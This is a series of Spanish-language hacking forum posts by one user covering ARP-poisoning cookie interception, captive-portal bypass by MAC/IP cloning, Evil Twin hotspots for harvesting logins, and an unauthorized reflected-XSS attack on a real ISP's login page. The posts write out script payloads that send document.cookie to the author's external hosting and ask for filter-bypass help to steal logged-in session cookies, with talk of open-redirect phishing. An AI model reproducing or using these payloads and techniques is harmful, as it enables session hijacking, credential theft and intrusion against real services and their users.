Que tal.


No. Ettercap no es lo mismo que Ethereal. Ettercap es una herramienta para hacer ataques basandose en ARP Poisoning.
Ethereal es el nombre anterior que recibia Wireshark.

O sea, Ethereal ya no es mas Ethereal, sino que ahora se llama Wireshark.


El problema de no interceptar cookies por https puede ser por la forma en que se compilo el nucleo en WifiSLax 3.1 ( creo ).
Si te fijas, para poder redireccionar bien el trafico interceptado por https hay que descomentar 2 lineas de de iptables en el archivo de configuracion de ettercap.

Resulta que esas lineas hacen uso de las opciones de protocolo --dport --sport, y como dije parece ser que WifisLax no se compilo con soporte.
No funcionara incluso si le pasas la opcion -m <modulo> ya que como digo, PARECE ser que no fue compilado con soporte.


Por ello, Backtrack EN ESOS MOMENTOS viene mejor.


Saludos.

Que tal.

Bueno, todo ( no logueado y logueado ) va por https.

Para hacer mejor hincapie en la pregunta de sdc, quiero aniadir que lo que quiero es simplemente el robo de cookies.
Pero con cosas que puse como

Eso quedaba claro, no?

Saludos.

   /**** MODIFIKO ****/

No! Miento como un cosaco.
Bueno, tampoco miento tanto. Hay "zonas" securizadas por SSL/TLS, otras no.
De todas maneras me temo que mucho no tiene que ver..

Si que es cuando lo intento por http que filtra. Con https no hay filtrado :__).
Ahora, yo el link que me envio es con https, y si filtra.
Voy muy muy pegado en XSS..

Ahora, me pueden explicar como puede interferir SSL/TLS ( capa de Transporte ) con XSS ( capa de Aplicacion ) ?? Gracias.

P.D: lo unico que se me ocurre es que, como la data va cifrada, los filtros no la "procesan" y por ello solo van en http que si la pueden "procesar"?


   /**** MODIFIKO ****/

Es mas, al momento de loguearme ( https, que no filtra; pues si intento con http /* sin estar logueado, claro */  si que filtra ) si intento el XSS si va.
Bien, ahora ya estoy logueado, y permanezco en esa misma sesion y momento en https. Solo se cambia a http si presiono un link una vez logueado.

Pero como digo, habiendome logueado y estando aun en https, intento el mismo XSS con la misma variable y nada.

Que tal.


Bueno, eso es algo que me suele ocurrir. Escribo/hablo demasiado, y casi nadie me entiende :______________________)

De todas maneras lo que queria era mas que nada saber por que cuando estoy deslogueado los filtros no estan activos, y cuando me logueo si. Mas en concreto, que clase de filtros pueden haber en ese contexto y como sobrepasarlos.


Saludos.

Que tal.

Puede ser que

# yum install pcre && yum install pcre-devel ||
{
apt-get install pcre && apt-get install pcre-devel
}

desde el cli.


Saludos.

Que tal pazienzia?

Bueno, tienes toda la razon.
He de decir que nunca use WifiZoo mas conocia solo su existencia.

Aqui esta:

http://209.85.229.132/search?q=cache:fGGRNRcetAEJ:community.corest.com/~hochoa/wifizoo/index.html+inurl:wifizoo+%22information+from+unencrypted+wifi+traffic%22&cd=1&hl=en&ct=clnk&gl=uk


Gracias y un Saludo.

Que tal.

Y que tal WifiZoo??


Saludos.

Que tal.


Hay gente que usa:

http://wpepro.net/

Que tal.

Me quede pensando en lo de la Auth en 802.1x y el no poder acceder a la Red..

Yo CREO que, tras pensarlo, si la Auth la dio un user legitimo, por que no poder falsificar nuestra MAC con la de un user legitimo, si ya es igualmente capa 2 y si no se implementa wpa/wpa2 enterprise - 802.1x?

Ya se dio la fase de Auth para probar que el cliente era legitimo ( Auht server says supplicant == OK ).
Entonces, que impediria mac spoofing??


Hm..


Saludos.

Que tal.

Bueno


Por que solo en ese tipo de routers/Aps?

Digo yo que lo que aqui esta primando es la seguridad impuesta en el link layer. O sea, que la seguridad a la hora de Authenticar a los users en ese Hotspot ( da igual el router/AP ) es una kk ( simplemente un portal cautivo ). Ahora si, debido al entramado que supone el implementar 802.1x Auth, se suelen elegir en estos Hotspots solamente un portal cautivo para Authenticacion.

Por ello, clonando la MAC, IP y con el Gateway ( DNs ya han hablado de OpenDNS, aunque puede ser que el router/AP mande info DHCP cuando vea que un user "legitimo" la haya "perdido", ya que con el portal cautivo se ve si un STA es legitimo por si tiene IP, por ello que comentaban lo de clonar tambien la IP.. ).

Tambien suele ocurrir en estos contextos que se le ofrece a los users legitimos/logueados una Subnet diferente que a los no logueados. Por ello, si mediante nmap, kismet, airodump-ng o como sea logramos descubir la Subnet no legitima, pues podemos probar a ponernos una supuesta IP dentro de la subnet de usuarios legitimos asi:

192.168.1.0/24 --> usuarios no autorizados
192.168.2.0/24 --> usuarios autorizados

o

10.0.0.0/24 --> usuarios no autorizados
10.1.1.0/24 --> usuarios autorizados

Cabe mencionar que, en estos contextos, hay mas ataques. Al no haber Authenticacion mutua ( solo se Authentica al STA ), pueden darse ataques via Evil Twin. Cogete una antena direccional, y pondla en tu AP. Clonas el portal cautivo que ofrece el Hotspot legitimo y haz quedate con los logins de los clientes legitimos.
Depende de como hayan pagado pues tendras mas o menos frutos.

Otra cosa es si el Hotspot tuviera una mayor seguridad de capa 2 y proveyese de Authenticacion mutua con encryptacion, 802.1x y RADIUS. Aqui no "podriamos" elaborar los ataques tan facilmente, pues se aniade una de las versiones de EAP conjunto a otros modos de Authenticacion de capa 2 que nos "impedirian" el clonar la IP y MAC. Pero normalmente si hay portal cautivo, es porque se ha querido hacer sencillo.

Por ello, si el Hotspot no usa encryptacion o si la usa ( WEP ..) pero detras de todo ello usa Authenticacion 802.1x ( a parte de la Authenticacion dada por el portal cautivo en este caso :__)) no podremos hacer estos ataques.


Saludos.

Que tal amigos del Hacking Web?!

Bueno, pues resulta que antes de ayer cai en una vulnerabilidad tipo XSS en la pagina de una ISP.

Bien, yo ESTABA LOGUED OUT, y se me ocurrio poner algo como
..vari="><script>alert();</script>

Bien, se ejecuto con ese sencillisimo XSS. Ahi pense .. pero que **** de filtros tiene, no?
Pues nada, me creo un dominio en un Hosting gratuito PHP.
Ahi pues pongo uno de los tipicos scripts en php para robar cookies y para que cree el archivo de texto. Le doy los permisos necesarios y me dirijo de nuevo a la web del ISP..

...vari="><script>document.location='http://myfirst_hosting/mystuff/pred.php?x=' +escape(document.cookie);</script>

Bien, pues nada. Se ve que para mandar por GET si filtraban algo, LOGUED OUT.

Pues hago lo segundo ( creo ! ) que se suele hacer en estos casos para saltar esto. O sea, me creo otro hosting gratuito y ahi pongo mi script en javascript: ( redir.js ):

location.href = 'http://myfirst_hosting.com/mystuff/pred.php?x=' +escape(document.cookie);

Ahora, en la ISP:

...vari="><script src='http://mysecond_hosting/mystuff/redir.js'>

Ahora SI comienzo a recibir las cookies en el archivo de texto que crea el script en php.
El caso es que TODO esto lo hice logued out, asi que las cookies de sesion no las mandaba.
Ahora .. que rayos estaba haciendo?? Tenia que loguearme e intentarlo logueado no??

Pues bien, el caso es que el XSS esta en la pagina de loguin. Una vez que me logueo, si me mando un mail ( por ejemplo ) a mi Inbox ( soy user ) de la ISP y pincho sobre est ( con el <script src > ) ya no funciona.

Se me ocurrio la tonteria de hacer un hipervinculo con el link que te desloguea y despues, en una variable dentro de el link de redireccion de log out redirecciono a la pagina de login con la variable vulnerable pero.. da igual! ya estoy logued off de nuevo y las cookies de sesion ya no se encuentran.

Entonces no habia mas remedio que buscar, una vez logueado, un variable por GET facilona y que me resultara en un XSS. Bien, la encontre pero.. pero los filtros son bien ****.

O sea, los filtros parecen estar ON cuando estoy logueado y
los filtros paracen estar OFF cuando estoy deslogueado..

Pues esa variable via GET, si le introducia pues de nuevo
...vari="><script>aler(213);</script>
no sanizaba ningun metacaracter, por lo cual se producia el alert.

Ahora, de ahi a que pudiera ejecutar otra cosa ( jugar con el DOM para mandarme las cookies, con img src, script src... nada .. ) nada de nada.

He probado mil tipos de saltos de filtros, incluyendo todos los de RSnake!

Esta page tiene intentos de saltos de filtrado curiosos:

http://www.xssing.com/index.php?x=1

Pero nada, encodeando y siempre teniendo en cuenta la posible entrada con ' "><.. ' nada.

Quisiera tomar consejo de los mas experimentados en estos casos y que me dijeran que puede estar ocurriendo ( ya que logued out si, logued on no ) y si hay algun modo de encontrar info que me lo aclare.


Muchas Gracias por vuestra atencion,

averno.


P.D: Suerte.


   /**** MODIFIKO ****/

Y.. no creo que tenga nada que ver con el same domain policy de javascript, ya que no es el caso.

   /**** MODIFIKO2 ****/

Ah... y si Admin/CoAdmins tienen mi IP, pues ya sabran de que page/ISP se trata  

ya siendo un XSS reflejado no tendria por que haber problemas con restricciones de cross-domain policies..

   /**** MODIFIKO3 ****/

Ah, y si es "vulnerable" ( he rozado uno ) a XSRFs, y he pensado alguno que otro. O sea, con la pagina de logout hay una variable "dest" que redirecciona a la pagina que yo quiera ( solo con presionar un link ). Por ello, un mail y phishing estan al alcance proximo ( que no voy ni a empezar a hacerlo ). /* Ya se, no es estrictamente XSRF */

Si le pones en la redireccion una page igual a la de la ISP, y con un "por favor, loguea de nuevo para no perder sesion" o algo asi, poca gente se detendra en que en la URL ha cambiado solo una letra, por ejemplo.
Pero, es que suena tan mal..

Y.. creo que HttpOnly en las cookies no esta definido. Es la impresion que tengo tras haber revisado/sniffado las cookies.... Asi que ( document.cookie ) iria bien aqui..

/* Nota:
Y que pasa con Firefox 3.0.10 .. por que no soporta HttpOnly cookies?? */

http://www.owasp.org/index.php/HTTPOnly

   /**** MODIFIKO4 ****/

Y no me suelo dedicar a estas cosas! Solo de vez en cuando que me aburro y prueba cosas via Web. Todo no va a ser leer, no. Hay q hacer el tonto a veces.